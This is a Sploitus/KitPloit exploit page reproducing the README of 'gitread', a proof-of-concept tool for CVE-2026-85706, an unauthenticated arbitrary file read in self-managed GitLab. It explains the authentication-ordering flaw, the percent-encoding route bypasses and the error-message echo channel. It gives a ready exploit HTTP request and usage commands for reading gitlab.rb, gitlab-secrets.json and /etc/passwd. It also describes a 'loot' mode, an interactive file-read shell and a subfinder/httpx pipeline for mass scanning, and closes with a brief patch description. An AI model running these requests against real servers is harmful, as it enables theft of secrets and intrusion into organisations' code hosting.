Sploitus

Exploit for gitread

kitploit · 2026-09-14

Exploit Code

MARKDOWN154 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PLUR1BU5-GITREAD
# gitread

PoC for CVE-2026-85706, an unauthenticated arbitrary file read affecting self-managed GitLab CE/EE.

|   
---|---  
CVE| CVE-2026-85706  
CVSS| 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)  
Affected| 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1  
Fixed| 19.1.8 / 19.2.6 / 19.3.2 (released 2026-09-10)  
Component| Repository Commits API / Files API (Workhorse body-upload)  
Reporter| s3ntago via GitLab HackerOne  
  
## How it works

Three repository API endpoints sit behind Workhorse's `requestBodyUploader`:

root@kitploit:~
    
    
    POST /api/v4/projects/:id/repository/commits
    POST /api/v4/projects/:id/repository/files/:file_path
    PUT  /api/v4/projects/:id/repository/files/:file_path
    

The Rails handler calls `File.open(params['file.path'])` **before** `authenticate!`. Four conditions make this exploitable:

**1\. Auth fires after the file read.** `require_gitlab_workhorse!` only checks the `Gitlab-Workhorse-Api-Request` JWT header. Workhorse stamps that header on every request it proxies, including plain passthroughs. The real `authenticate!` lives inside `authorize_push_to_branch!`, which runs after `file_params_from_body_upload` has already read the file off disk.

**2.`file.path` comes straight from the request.** `file_params_from_body_upload` reads `params['file.path']` as an absolute path with no validation. In the intended flow Workhorse writes the upload to a temp file and injects that param itself. An attacker just sends it directly as a query string parameter pointing anywhere on the filesystem.

**3\. Workhorse route matching never decodes percent-encoding.** Workhorse matches upload routes against `EscapedPath()`, the raw URL bytes as received. Puma decodes `%XX` sequences before routing to Grape. So encoding one character in a static segment causes Workhorse to skip its rewrite rule while Rails still routes to the vulnerable handler:

root@kitploit:~
    
    
    POST /api/v4/projects/1/repository/commits/      (trailing slash)
    POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
    POST /api/v4/projects/1/%72epository/commits     (r -> %72)
    POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)
    

**4\. Rack echoes the file content back in the error response.** With `Content-Type: application/x-www-form-urlencoded`, the file content is handed to `Rack::Utils.parse_nested_query`. Any bare `%` not followed by two hex digits raises `InvalidParameterError: invalid %-encoding (<content>)`. Everything up to the first `&` in the file gets echoed in the 400 body.

Files with no bare `%` are still read pre-auth. The 401 response from the urlencoded branch and a 500 from the multipart branch both confirm the file exists and is readable by the git user, making them useful as an existence oracle.

**Exploit request:**

root@kitploit:~
    
    
    POST /api/v4/projects/1/repository/commits/ HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
    

## Features

  * `--file` reads any single file; falls through to the oracle automatically if there is no echo trigger
  * `--loot` runs 36 targets across 7 tiers, ordered by confirmed echo-trigger probability
  * `--oracle` runs a dual-branch probe (urlencoded + multipart) against no-echo files and tells you whether each one is readable, missing, or unreadable
  * `--proc` enumerates `/proc/self/fd/0-31` to find open file descriptors, then reads standard `/proc` recon targets
  * `--shell` drops into an interactive file-read shell with `cat`, `loot`, `oracle`, `project`, and `curl` commands
  * `--pipe` reads targets from stdin and handles subfinder output, httpx text, httpx JSON, nuclei JSON, and raw host lines



## Install

root@kitploit:~
    
    
    pip install requests
    python3 gitread.py -h
    

Requires Python 3.10 or newer. No other dependencies.

## Usage

### Single target

root@kitploit:~
    
    
    python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
    python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
    python3 gitread.py -t https://gitlab.corp.com --loot
    python3 gitread.py -t https://gitlab.corp.com --oracle
    python3 gitread.py -t https://gitlab.corp.com --full -o report.json
    python3 gitread.py -t https://gitlab.corp.com --loot --shell
    python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
    

### Pipeline

root@kitploit:~
    
    
    subfinder -d corp.com -silent \
      | httpx -silent -sc -td \
      | python3 gitread.py --pipe --loot -o hits.jsonl
    
    subfinder -d corp.com -silent \
      | httpx -silent -json \
      | python3 gitread.py --pipe --loot -q -o hits.jsonl
    
    python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
    
    cat hosts.txt | python3 gitread.py --loot
    

stdin is detected automatically when it is not a TTY, so `--pipe` is optional in most cases.

### Shell

root@kitploit:~
    
    
    gitread@target> cat /etc/gitlab/gitlab-secrets.json
    gitread@target> loot
    gitread@target> oracle
    gitread@target> project 35
    gitread@target> curl /etc/passwd
    gitread@target> exit
    

## Response verdicts

## Loot tiers

## Flags

Exit codes: `0` leak confirmed, `1` oracle only or no leaks in pipeline, `2` nothing found.

## Patch

Fixed in master commit `0d9ce3e7`, backported as `1fe30154` / `b43c8b26` / `0ff7b6b2`.

Three things were changed at the same time:

  1. `authenticate!` was moved before `file_params_from_body_upload` in all three endpoints so the file is never read for an unauthenticated request
  2. `file.path` is now only accepted from a typed `UploadedFile` object produced by the multipart middleware, which requires a valid Workhorse-signed JWT, not from a raw query string parameter
  3. `InvalidParameterError` no longer interpolates `e.message` into the response body so the echo channel is closed even if someone found a way past the first two fixes



The bug was introduced in GitLab 18.7 (December 2025) when the body-upload variant of the commits API was added.

* * *

made with love by @plur1bu5 \-- if you find it useful, a star is appreciated